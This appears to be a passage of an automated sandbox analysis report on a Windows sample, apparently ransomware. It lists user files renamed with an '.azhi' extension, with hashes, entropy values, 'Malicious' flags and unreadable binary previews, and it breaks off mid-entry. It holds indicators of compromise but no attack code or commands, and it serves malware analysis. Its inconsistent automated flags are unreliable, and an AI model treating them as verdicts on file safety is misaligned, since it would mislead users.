.qz...7.y......

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4749
Entropy (8bit):	7.961934891946039
Encrypted:	false
SSDEEP:	96:nsZZvYnn1PMMPhPM8a7kyYceF8502yki+to1cS2CjZlQ:s/vYn1PMIM8OfWKyki+torj4
MD5:	D17099C6A8DE46F9DD68933228AA699C
SHA1:	074F5254ECFA9F8A96C840A4D40D09FE215A6B36
SHA-256:	03BD79B3C5F6ECB9B2B81E8B5C535A7ACBBC9E0BF6791317FA8204619507296B
SHA-512:	1E6B07017DE0255258330C5CA8B02F13057F90C51EABD2236A690EC37F0F336E543C0072013F9D9C720870686AAA224A210FE7AE2F3E5330740DD36962A8D686
Malicious:	false
Preview:	mozLz...dgU.B..:%.T..iF~.V...@....ig.......r,..86.eQ..r...4.0mH:CJj.o.e.K..c5.r9.....^+.~.. .m...../....Z.d2\V.....CY.Q.p..R.Pe e....>\.j8.s..-.G.U.Hq.X..-=.BF....I0[.....s.U.0v........C....5....&......0H...\|P.EE....I.W....W.C..)...Ss.C.v.Q..Y<..jI.?........}8...,0.....^..%U=.U........I...%..F4..$...h..tu-.aW.....D......).Tz"G..V.4Y+%.e\2..#....................O........j6......]5......&.^..I/.i.....il."......v.6W.{4...?..._,..w.!V.8&..$...../.n.H.......:(..i...~"v.h6H.F...s.....ef.E:.....l.m...U.C.X[H,.....:...y.B..Lg....J..Ez'5....t.!.^Z.WIc.......WTjL....5.w9.oIct..r..n..H1......../\|G..v..>=K..R..l.).n`.~..A.L.;Z.....m.v!.W..[:.S..b.._..z.BU.m3@......PO......u.hR.n..~L/K..-&..2l...D.D.=s."......&...G.R..IN.=fZ5.L.9.~..o.Fn6.T.V....vt...[....&.....6....+.t4.".We[.c...QX.KQ.....W.wx.2..%.i.S.N.S.f..Q.:d....:.A...t..d.....W...u.....G.......N...~J1O.....W..).........tE:@.......3.!@.^...\|V.p.@...;..Dk1.)j...q.3e68

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.998473954383608
Encrypted:	true
SSDEEP:	3072:1i59us84M6FLox9fnLLc83PTllYcicS+zGyzaH7wX:E58hUovXrPTYWvzaS
MD5:	F7A6BAEBF52960683B2F232C4F56DF3B
SHA1:	BF1E1C9015E440623A2CFC36B64B6B64BEA49C0B
SHA-256:	4ED51B0A1E3D40A3312B79BC28DD7325F940641EDCFFDB7F65CECEB274BED7D9
SHA-512:	E48913140210C7789942FB0FB005512595D6D5331E45222C4051B1D667297B2F7A37FDE62D6F6AD7D7DDF2D33ADFBFFB357B134A4B9CC3862BD021015B4C055D
Malicious:	true
Preview:	SQLituc.`......v.k..]..E.n..Oq.....y...F=wuG.I.... ..s.$..>. .9..L......Q....j.....;........U... k.o.Qa...z....EK.B....3>z<.4.CI...........m:.8r.D....kj..c...qF=7E.:\|.}....x.k..!...>.....>.X....#TzT.o'.n..v.}.(.,:...s.u,..(..32.DP.>.biCPh.......X....Hr8v&v..'..Db..bIa...->...a.....j.S\X.k.....Z......-W..;.aMt..e5:4..WN(...o90.S..>........`r..\...e.H.`Q...j...'.5.........\......{G.A....?...^B.......}..7..).P........@.n.9F.F..3u(.x...{...i(.Q.+..Lx~......]....,.KZ...R28uC....u..g`..~JL.ee_.C.4.7...p.c....e...D.K..:.d_.s.!.s.......IK.!..O.....-.0[E....\|.Do....;..>.,.J.{..Z...4S .8.m.W........,.B.LnbRM.a.WwQ1..........:.ol..a?.s...-.X<c.....GB..a9.y....L~^Mp..8x..q....6...Q.}..+._.W..x........iP..;G.... .G..u....+..4eP...=.ub`!Y.2.......a$.[...yd.....lQ!.m.J..F..\|..Q.:0}V&.<.G.._M.#...S......M.`3..64b{...g..m.[..n.L<..Qi/.1qP.,......r....F\J..:..E."....aD.P.,....F'.......E..?.B.7.g"R.....h...e.1)....o].X.g:...i..[....7..U..t[..#.

C:\Users\user\AppData\Roaming\Skype\RootTools\roottools.conf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	410
Entropy (8bit):	7.351128287636371
Encrypted:	false
SSDEEP:	12:rwXxZ/mBQGc0FGfYNyA8wkq46vAGTVYYcii9a:kBZ+B40F8ocRq46oGTV9bD
MD5:	91CE20FD52D0BC93CCA21B4BF29936CA
SHA1:	335D7F38461C9A025E5FB32EF477532D4F5A0BFB
SHA-256:	78D16FABC0657D832E82FA60D5657C74F52195F48A751730AD35C1E66C4CFC28
SHA-512:	EC6ABBA103EF58F9EA5CDEBC5A162ACE921E14501492B615920377140BFF25AB2455E0D85ACC6F779F4699EB16B20FC5895E55AB0735703194C7880A5A36DC99
Malicious:	false
Preview:	node_..x.8..j.=U2V.m.>u.'..a>.v.I......$...h...Z....4@<.....:.uS..m.v......YY...+T=d7q?H.e.^.u.&..xS_K.C.._Hpf[.1}...wU...S....(.f+>Ng.......>Dl.#&'.=q..'.\g.6.g..2p.R.....C..V....*..........b..=L..x....0,o:..9..g....W..<.$'6.C..F.Fj.......$.T..A.{...N_..6..l....D......=W...9P.:E.iTX.9..,....{..^.._mE....)UGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.341639291755739
Encrypted:	false
SSDEEP:	6:oJV43w9hfbvggbsqWT4spWAJXK2ZknzFZYYRKX20lmJwLYG8vcii96Z:WW6fbsW4VoZZ0G0bYcii9a
MD5:	8024F72390AABEC875CA365F88725579
SHA1:	BCD93548BEA733B144DAF7829A7E59E1B2BBCB66
SHA-256:	9ADD4D8B4E3B003D7B8D78A8CCEF5CC7E802EDA88B27E9F300E5F06AABAA2AE1
SHA-512:	3649208FFDA0B25C7A313402AAAF53591780CF1F2289606B0D179E74C1969CC43B56F44D950DB556768CC51F9E07745BBB98794F7EA4523F25E1C4B56F24B858
Malicious:	false
Preview:	%PDFT&........I..`...p'...R(.....VL..9..78....Y..'...=...D.........R.+.]..p..G..$D.:..3.m9bxw..F...i..X..PC"O-;Z@.....h.......i...b..b.'.....$rR...U...y.`nm.p;.......O.[.ota;GJr...0~...K..V..f.'.}L...?:....Q.V..Z..eh..0e.y..p..V<..AU.?.N&..M....b.A$:.^..?.l).).h...z.>.U .-....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.323986668440484
Encrypted:	false
SSDEEP:	12:thYG9oTPWdKmNgSqIwARur+jGRW7unkW+dvVJaKYcii9a:thUPn6g6njGRYun4vVJavbD
MD5:	8C04BD53BE0F07A4F36DB7919E83A41B
SHA1:	70297FBC0FA59C495387C3319FC8EDFC6618E598
SHA-256:	DA4A582567CDDCC09C566376A51947750450F794FA51CFB6449065D0CBE72097
SHA-512:	28FABA5880E4A5D8D468F8DE989ACBD9874234981A50B831218F9AE92BDA89198DD6BD1AC9E51E816660105298C9647305C57038E15631C44D66DC289FA98FAB
Malicious:	false
Preview:	%PDFT.!D}.....Y.,....W..Kt...a..L`.-.K.EJG*h..[..Z..D......\..<O3.!..).4iS'5..17U.0T.I..`-.m..\|5K......x7..trg:..k...\|...C....z{..3n.Zn.8a......N.9I...G.. .<.).....e.C........^.....U!...p.. .G..h.3..-.3{..@@..P...n.%....f...%......rm.8.mh~...."Ca)\t."o.y.E?~....\.X!-6.[....B..XZ..+....#`.".s$GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\UProof\CUSTOM.DIC.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.219088515135955
Encrypted:	false
SSDEEP:	6:QI3DVjCslYmrjib2K6LTmSvgQoFS3U5ZvTRu3Hc8GDxSIlq/cG33aLG8vcii96Z:Q6jvlzibZ6LTmHSgZ9BhSIc//33aKYcq
MD5:	5C5CC5862CF3CF75EFBFA487516C0C68
SHA1:	BFB5B167ACEF916A6D4ADA82FD2930BCDE659E9A
SHA-256:	1B623A4FC3A3B74F910458BE35561B0358D7521E73C31E9049DA2C6454BFE7C0
SHA-512:	D7F5487187308DF9FC0809655E41E23C9190D39E121EAF0803458C1A65F99C80DE1833F5A9C8BB4331A947D844AA25AA78E5DDEBDF939598B8F3EEE598488463
Malicious:	false
Preview:	..j.o...f...Jl.(b&@sz..t9#/H..U}.{.N,Z..........&......^I3ei?C..m.T..".4!....^a6,..z9..Uutc^..Z.,4..N.b..8B...#....So.pG:"....,sJ.j.. ]....^u.\|lKP+...n..F..]..?..#..ah.bX.V9dr&[..A.7@.*#g#.....l^e.J.AA. 6...9.Y..KP.."&{Y..ZR.F..\.D.#._..h....n..5N..;. h;.Q...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.851795969799936
Encrypted:	false
SSDEEP:	24:vYqPpYUAgNElezlt9L7DOg6lK12NQlIJ6gWbualx5BKjsuHQGqFs7bD:gqPz5tF7DPccTFC+LowJ2D
MD5:	8C37C58334E16A4FD98B97FFAC94DB83
SHA1:	5CE09A6EDAFCEC3EBC497542901962C9FB886CD3
SHA-256:	2FE16966E334CA39EB4A0FB6FA7AE5610DCE45DCC0BF5478C85154E2F6D68693
SHA-512:	07C419ED2524FDD0F8092463B94A5FF774012795669C6A77FCEA52A3F635120ABA7E4F9EC65EA680E283123BADAFE291345C02B72832B1F27C629698FAFA3084
Malicious:	false
Preview:	<?xml.M.6a....}b..C..9.,...h..5.._..)^..!.h....N=D.~.........Q.y........F{i.:.D.]...O.nx.r=..A.Z...iW..i...g3....n.<..\|.Q..N..:K.^N!.'......6...Y..eA]Kg#t.q...ml..$S.K.(c......M....S...c>ez._....1YJ.VjH...St..{...I....(..p.<..Z...?.W/...A.6L'..(Nv.....o.....R[6I..;..hEE.......'..0j..r..Y......A?.$..(.!.....&...k.`B1.....#....cz..W_.e.2p4........'.E8....DD...d".$R..)"...)^.>.,v..r..[..\.F..C...._.OF\|...w.N.D.+TN.i.....K7.....BK&.g..\.....v4.N....<r..BH.. .....}...d.O.@>.p..C9..q2`'..NeP.b9.E.}...1.?.u.$.<_....(..FP....j...y.Ww.<._YR...........Py......0.8.....*D.......h{..7,.q.B.?B......d.9..............x.$."....R0I....@X......(.n..b.@..(.N.0i....j.."B.]t...V.Ud.p... ......m......u....h8.U.......u0".&H.&...>.rM.%.Z.q......#.S..o=..X..>u..3.L.(4.?..(...b.dm..Z...8a.V.yM..U.(tK...S...\l.^..M.$ff.,..... :.C:Q.q...-}...f~..Re...N.Fk.3<...,+O.g"U.o.....Y.u.U...u8.H.t!.Z.x....X..L..J.)....4.r..T..Hs.Rw%.f.:.Z.l\O.&E.'....j..aS......e)

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.913184194410728
Encrypted:	false
SSDEEP:	48:QirBWDdEHdRTvVMbWaWG3jeAkAWSmAqlI9+RHsLGcVoWmw2D:QqBWORTvVaWa1KAkrAqlI9+GoWmwu
MD5:	3CF044484FA44036F615E01267483BAE
SHA1:	BF211F08569C94C6E7240DFB9850127FB58857A4
SHA-256:	0BE6CB4BF1A7B53B3108FCD346F44F12C441A7A55A5B04C0C7CAAF3C02D2D6DF
SHA-512:	E1C1518B17C5D2E7E9051CAB382966776B418C2DEDCDACC8230C9EAB4BD2B1B34428F92A7CBF919B543511DEF7685E9A5EE4BC0511CC1BFDEE349B5196E77399
Malicious:	false
Preview:	<?xml.\|8P....p..rf....E...SZ...-ZHF.@.Y..l...._....O.oqvx.Q...t\....Z.m........$.8]r...'.d.-U.q.X."Y ..3?f....[.....p.. .S..>.6.F....`.......;.........~..DS.\.....!.9...OA.E..W....[....1L.Z\ ..Y.:.i..yG[N....Q`E......aB..!9./G.k.."iN.$K.[.]......~zDR..8.........5.....;..T.^0...m........@H....{].g..W8gV......P.:.U..?V~.....dL.#....a..../I.....NI..w.G.F..Q.....j.kp..A.....T{...O._]Z.XO7<..n....l.q.dDq>..(..GC.wu.....:W....9.].M.`.......b..`K.[....=.?..vZ.;.vq.SAJ(...s...Y....D.p(P......zc......T.(.o.%.3]03La.......%...F..I..@\|./#8..>.....A..`..../..l....w........"....E..j...?6.U....,.g.A.J.r....]tE.v..h.}~......C/.u..b....O..8.-k.....>...[W3a.L......Ue$.21WSrC..<X....Y.S..u.....gq......@...L...-..s..-.)[...<.>d..^...5.f...\.qE.....G.s.6h)@..X.[.Ch...UB...B...vhS...l...Y......W..1.V.HP4.[F5.....{&F?W._.T2..%\......L......P....7.?.`w ..BR.Z}!..\|.[.....9..O[L.3_........Hn\9..OaL.....uz...S.b`.CY..T.....9K.^z.......a%...9...Os.....

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.918909817923244
Encrypted:	false
SSDEEP:	48:8EMWYvYsmv2TPPDkWLZy4O5JermnXulnO9Sg4d6SM3D:8qSYQbPQ74OzeqXdSE
MD5:	CCA453B5D96BABCDEFC88A9C6B173FCF
SHA1:	D6A78A4529E63131C3F13EA969A66BA7A6674E2C
SHA-256:	A0340343DD460ECB1AC11760A3E88F8E9D4404AFAF38D6EA549A317B6C334CD9
SHA-512:	572F4295333118E04D0F97211679416FA99D81A6854FC8E2D8CAC2C86696CB02136BA495BF638B405A67703B4FF3006FCDC3347ADACB7FF92B470D64E892B888
Malicious:	false
Preview:	<?xml...m.10+..fS._U..Y.x..?.H...$K3c=....0'.(...r%.T.C. /.35M+Gql.%....'m.Z...s[..`..J..ImWY..UB.....K^S.}..%........n.$.^...0.....@0...7...`....nEeN.R&..-...Oh.R...)..P..'O.h..1..Y...,.:.n......".U.(..........!.(T....f..CGT]b...CC.D.z.....y.y.!@r..1..=.I6.....r.>......$.........I.S..>..T?....`j..^...8."$U....gJ...Eo.......w.2c...3.e.KT.....Z..{C.Q.JW3..1.m....M..t&c...;W.B...Ldu.eM...sz\..:..C#Lm.+nv.j.j.X...e...e.BN...H..>..P.C.../de.....`AC.........%.2.UG../h....$QI..$..'..f..Yfv.;.Q.S.+.U.y...2.....ru..y.dV.E.{...!y.k.F\|O.%'..M........S..,.........J..%.~`&....~..c.._e.P{..Z.\:.`...Im.n.*......1....t...M..P-.$..\.7^..^Y=.#.].. .L.C....u.l.=}.o.?t.K$9...AK.o./.{..Yh.6....5b^.=..p...D...W.'..V....G0..]..p...[.3.....H;..r...A<@..n.1.y.........Q....6!..Y,r.xQr....9KX......\|..8z.S-....M.j..6.&.T.pH.OG..N.~W...QI...h.C..w....>6"...l......T..&.....\...wc.T.hu..+M....x\|XC[X]F.v.}..L.......G.HK(.G.........9.....%.%dv=.d........A......

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.921128437108352
Encrypted:	false
SSDEEP:	48:ayllPJ+5Tq8s17+MVqApI0BZXdB9wP+NPGh4mLGn9QTqkDxD:awR+5TrHO5bnPga97w
MD5:	132E7DEFC1D92C20153C5CBCD3479F1E
SHA1:	51D7BAFC8617767C119413E505AD2B162FB69BF8
SHA-256:	D6069FFC13EE599656C4E9AE6C8A7FB8A28D34856F41E48ED17AB415D16F37C0
SHA-512:	B2D230DEF1095F18A56C9FE25F585BAFA3028C5FE5CE6199BACD457D78259F34E0F6F1B50A38802CECC49F1A6A9C9DBE08269D797C9BA2BBCB7BB12F71719094
Malicious:	false
Preview:	<?xml...Q....3tI..Y(.n._q.I9=.;..21...:.(j...K......6.7...Q.Q+.....L.....Jc..IO@[..\|.....T...6..T.]...P.....q2G.'x.{..C..w.]...$S5o..+qi.....0.r....r..7.)...RRa..& ...f..?......`.;1.h....".4.X:.-..p.U..D....h....[.d/..@..$.aA7N..I.....]"......T6.rf..[...op.V........Orf.....)...U...W2...].[.....%n.s6......8..P...;.%a .yRaa2.M./........,..}S.t..7aX.iZ6d.....N,..o....(qQ.d:....VR....S(.(.* ...(Z.=,.=./2.S.....X..mhkbPmr.Y..Z..~Y.wO.....(.D!.S.r...!..u.l.......~".q....`q<U......4..f.:.Ry...n..........h....l..nA..}=..vGVb.......xn{....b..s..C....;2$. ..\...>..S..........l.jR...]J....8s..S..\...9.A4.^.U....9.....3..ot....u}.........Ng.J......4....0G.....6..o.{.,...N.Mj..\|..!.xo..... .i.......u.-e..f...<.aG...;Q.. .E....:....P4ZBj..w..*y~....I.h.Y..z.}t....4,l..d..9Z..?..Su.?E.M...t..A.......5..;....#.a.....}b.dQ.]....y.:H...l.\|.2...'L.G....ZTB8.zx...1.Q...\R.uu..?....r..7.h.~j...`k#D.t.......^..V...L.[B.....F.1?........S..k'#F...R..R...HO`.....k

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.867431594803589
Encrypted:	false
SSDEEP:	24:uoq9U0TiwR9zL9uejA+NqFUM1a2OkDVwpCwWyJXXJrVpFQdKs/MmbD:Bw30nE9M1r/gXXLpadQ0D
MD5:	F9B507F81FD38F74BC7B49DAB08A8057
SHA1:	CF008569E9CC436E01365B8E44B153026C91D1D8
SHA-256:	F284C73D2C1743158CA02CA81AB880EC8674A7A72B2CFBE418A4EA89956D1971
SHA-512:	F8CA8C68FBA3FD008A408366730D4ADEDDD98600379781EB1B7A0378290B6E1089A7868D9DE2D415292519E370DC0164538377658309FEBAD45AF6F3074675A4
Malicious:	false
Preview:	<?xml.6'.g...WVq.T........+)4...[...r.......2=.]$..,,x.....,.hYr.R..E....`...w....~.f;....'..R../zLZ..bh:.vdpAk.wvK...m...I-.C..hP.. .............Z.t.....<M..6R.......S>.-......<Y.i.7.W.pi..laS.\.+,._.[...c..............v^..'..L.}...(./K"t?JRn...^.... k......m.....<0w?I..p1.....0!b..;..w;'....%..;....j6sx`6...2.P..}.-.5......Q..f.@#.G..>..8..P$.TK..a..@..u..E.}...Lq... ...5......&i.m.....=:Z._K.4..P..pO.v$.....\|.n.t..FPCTA..=w.....fD.^%:<s/...R..V%cl...Om......ane.X...'.......gF.~...?_\|..ov..L\|.F..M..md.._{T.$~2..w...4...a..2.....\..ku...%.%l...I...%...,.Z..e.(..B(..1..... ...M.\Z........>.6..v.<..A-.......I}....r..T.....x.0?.*p.i=..d.I.l....}...[.i.a....Hp...M....z...Z....eo...2VA6..........!..w....U.D.C...R.....z........1.I..J,e.5.CF........[.x&.Z......>.k...U.4..<..c}.U.?.Ni..FB...ZC..G.S.......Op.#......[...W..Z....v....{31.c.?..m..[.;!....Gm.....7.............r.H\|....45I.....f...A...B....f..b.=W..G...g.KWM=.a...^{T....F9."g

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.914163548975767
Encrypted:	false
SSDEEP:	48:xBSj/goUbhT9vcpKuXomr1BZHgnD1UL8vb2TaI4vES1jryD:xBSZUdT5ih4mZ/HiqLMkaIIta
MD5:	91917EE4AFCB77320A114E17E2F41918
SHA1:	39197F1CCA30A724E2968B140EE84C9A69983ED8
SHA-256:	26FAB4A8100D17F61FB23FF5060A04B5D0181A9221EAE33689774D1E0D5E1B1C
SHA-512:	A40D9C02E3EA4027FD5B4FA470DDA2AC089F53210A7EF46AFDE5B3F9E87A2DE4C7DCB256184634279E28441552C4FCE3D2B1CAA21D3ED92A44E8A283AE6A1CE9
Malicious:	false
Preview:	<?xml.v..L.p.dlhd...I..%..o.........&H...9we....?.n./8[.....E.....]n.A].n.SF.a3}K$.I...]..0z.....$._u.....;.....v..M.}?.M.M.@"...64..o.j<Eu`.1....7.).u..`...d....\|/......p.+.E.d......&..&..{Y..E,.........E...c^r......@...o6.=.H...'M.....l....:N....2.....V.g.../3`y59.1,.}.4..3.q.g].$..<..VA.?_A.n.S..5..1.~..Y......k.x.@.{~.@>,.c..^....\...0..z?....$..<....'..x.?..FR.W]}...@..!....#.I.w.....5.+...&..\.....h.`\|...YETz6.[<......B..8.U2..5.t..$.....>..(..H!..]U.xW.RZ0..YT...P}../...Z..;S..Y.....~...,.....;.y....WJ.[..../o5./XF...t...J.\..J..p$p.c{:....P.\SZ..o..y..]`..\|..r.Z.!8d.....-.3.Sg;s...A.D.N......j.y....b...+.8].."...(..l....P.....qS..{.f._.E.>8...-..A.....0.D>..u.L.B.y..ib[_y&.Xs...v..e..x../.V(...J&...fq.cu.>.G.H.. ..%l....:i..=.N..GWJ..S..\|.E"(aJlBk.I.+..6[=.!.'.(.b.W..vr.....L'.,\M.A...c..b....9...s......\...w...P...b..4...x.W..A.X..l...l_.Gu. ....>..o]e.xq_....5.<06]m.Cr.+r..L.d..; .>.._7..).a.#X......-G.....\|...y,M..6H...7.=}.

C:\Users\user\Application Data\Microsoft\Windows\Recent\ANHVHMGQLM.mp3.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853216451626695
Encrypted:	false
SSDEEP:	24:d/NDbSRWVMf3/8oZADJOdOkU4P2UXB0QvB/mt2I73zUErorntR4/lHe/vNvfbD:d12RWskE/vTXCQUt2I7jUEMcZgVDD
MD5:	A3D0D95F0B74A0BA62ED7E56D9045471
SHA1:	5FA4704CD9824EFA0F07D8A4E0C7976F6123B866
SHA-256:	2A96D4A28F8AA41332A9B8832BECEB796B665DF18348D850B4FAA082B4EA4F8A
SHA-512:	06FFBA5725A174713906F996EB1027FBD8F077949E746B1DDDFF41EDD30CFD0AB5B920B2B79B56ADABC78CCDD77333BE8F1EDC4806FCC2D56524B38DF6B20016
Malicious:	false
Preview:	ANHVH..r.Z....3....y.f..h.*..3........45....\x..{..U.c.c....l3,.uqo8.T....p.)......Z.....#Kk'.EDg.u/....]HkB8......J..F2Y..2. ../Ks..;E...~..(o..G..hO.H[2...Z..Kp..J.....SJ....._.....#.wC6..Xcw.m..-..G.K.....8<[@H/{....13.x..3Y.....1..0\|]...\|...C#..R.......W.o\|..^.h.[..r........ys.R.(.#...._1.j..W.Wz;....DP^...C"....\|...2._..M...uG...{..\|..j...7t{.b;....px..vn.Rd.e.?.e.`nsT...f..7-.....X...B\|uS..1.:.4i.'.D..m....._P........LL.....;.....S....P..u.r..v..U.]gUj..j..Z...d..C..L..Wl.....V..x.R[.F..0..R...).......+]...G...<..+.)..V\"<m.v.+...2_y.......x!.e.2G..m6j.U...#l.......~.o....=T..P...C..\l.....[_i.n.5..xT.%...&.........W.M...n.....0j.`[\|.\|.......06.@....s..1k\xz],..g..M..b.>lv...D../.o...9Z..H..~c..Ju....<...............r..SR..9....}...F.'.y..:{.m&....e_g.T.7..Qp.S_.........u.)..n.7#F..{3.kTL......1ZH......z.&.G.w....0r.>......e...>.?.(Xs.;.j...bg..V.d...%..I#.\|<.\|.F...."...H.8..L.{D...s.[...=KF....%...C.3....w....6..vdK.

C:\Users\user\Application Data\Microsoft\Windows\Recent\AZTRJHKCVR.jpg.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.820825646686952
Encrypted:	false
SSDEEP:	24:wGwp3uYrf41yyzDLqNUbapPVe5W4WkCZNTjnoBiF+4AX9Pzk6pOqq7bD:wG23uK41Bv7bsPw7kZZJFtWLE/D
MD5:	FE9B9BFD805AB80941641A36EE814514
SHA1:	FCC21D5DAA2211DF8A256700414C1CC8236D135B
SHA-256:	3DC2906709A94954A6C2E469A792F5F0FCD653729718B7C9B139295E4C2CC146
SHA-512:	DB1454D8C732A9A092FE96B8A3BCAE39EE8531557E042252A63221910B6C5D61B488ED5C3DA2B815D032A1D3E620A5716052435CDCC3D687129442EC79F78FF1
Malicious:	false
Preview:	AZTRJ....-..vIJT1-....x<gyr...W.lR.I.$....3.b..t....\|.GP.\|...Wl....T.4..<r......._.....]..=.'.:.s.0g.......R.{+..C..YT......c...C.+.....W....K..S..^-....Q\..=-.......%o..n.#..\f.{t.7...;.+..0_...44a{..,.5k4bn.5`K..E.b..7x.eD9i..u.<..(Y9I.>...,..e..w..c4...r..EW.9b...ry2`'...[@..E.5.)s..D.y.E...f.(IZ."...%.....2......(.D9.13...:.D...E.Pq.E.0J2.....:.........w.%.R.+3..I..y'.hU....1o.....ky.x.I.E..H.@.....].:.p:X..D..Lg.\|.L.F%]...G8.n.<Z.....^.....V....A.K...vU.:.ru.~.x/.jnz7.......i..........)...7..^.X..a.X....l2...>..a....c...O...}...Fg...T..).......Jb..nF...R@.CfI.@O.. ).+Q{B..........))\|....2].j...)...T..(.5.B...:n....6'X.!$.>..8.A.&..f.oUxu..\"..g?e.)^u.G...bu.E<XZ6Q."B...8.J..e..wT.2qR.~.:...r..!...$'..i...^?...~B..,8..~.V.A.Q..e.W......c8..D.....cS.=..&s..U.!.Bg...v...-...lO\|.G...F...._<V.Q."..j...i8z.D..T.......V..MYa.TY.F.0...V..w...a...~...LY..J.D...Z.H.eR8`_7RiAu.....v......`....U...6.,......."..5\|..c.......3.:..f..a..kV..Y.@d..4c

C:\Users\user\Application Data\Microsoft\Windows\Recent\AZTRJHKCVR.mp3.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856560387148322
Encrypted:	false
SSDEEP:	24:5A3iY57XRhCFFb+CXk/yheIahbwyijNGzAu14+Mn7+xlQaqT3bD:Ij57XRCXthXJlGzh1H5SD
MD5:	8512CE024694947842F9070439B5E625
SHA1:	D1C53151132A76FE3DC191A247502A577E4EAB9A
SHA-256:	0BE73888BAC678808AFC299D67C023C432B42118CADC6664FFA34089B72213BB
SHA-512:	E8F2D7A31BE770EFAC0C6CF7CC4955070E16D514674C4E29817D58AAB71D5D6F7DD46EEA1174F12BA29060493E0A4F50316F1B30177DFFC381D6017194F4491F
Malicious:	false
Preview:	AZTRJ..\|Qu .9".CH.6.S.h"(t?...z\.?h..S..6....m}."a.c...2k.W..A..^.8.4/.h^/.^...5...<...0./...f.TG.4.=.B.Z...j....g.na.l].#.3G.^h:L....U..0i.(.\|.........E..B.D.O.k.f.._....]+.+.b.[..Y..{.....T.@\...Z.n..v..:...7.Y.s..w.&..>b..^...........C..E.....;3....?.>..6...l>O.<H..o.]...d...........\|..[....9.o....m.....h..,...C....U.pUf..Dg?.@...\|V..I.:.:V..J.0.-?n.f<.p.z.........!.n.i<q.QM.........l...q..L3.w.E.,....o...\.I.r../........SL..eU"..0..m.......#.....J..\|..Ni.l.N.J).Z.6?.E].%.p.=t8{.K...Y.K..}..b.`..n.n.6.[...1a..)V/......2A.O...\|..R.C....<...A..,...p.4\|..AA!J..... .9JE...&..].z_...G].!..-..G.....v`O.>....)T#.em.4$.X./B.7.e[>.U....!....EW..(....;H....G..5HP`.....^.....`(..+K...(.`..&..\|L....x._..^v.@.+N.. .g...#....@.A....}.\L.Q.5.W.H.C4#..B...7.?..t.%..AH.r..p~{..a.}..$....Y....I#r..).?..Y!C..l.Rl.O....+0....`...BJ.M->..NHv7R......$..%...H.F..YgN..).k.1./.wd.......w....!..l....._v?..Z.....S-.?.UcO.r..*.J.1..~...;...(.....

C:\Users\user\Application Data\Microsoft\Windows\Recent\AZTRJHKCVR.pdf.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8464484171300235
Encrypted:	false
SSDEEP:	24:y1nJgPmzjZOKdRqVpaKefhhy2z9WEE4ltQN9Lmi88DVVbD:enMWjcKdcG82zcEE4ltQ7mTSHD
MD5:	C638249590B8D713FA8C9A0E6E3E6ED8
SHA1:	6C03211EC6E0CC5702FC8FC737E5EA5AF4E8B937
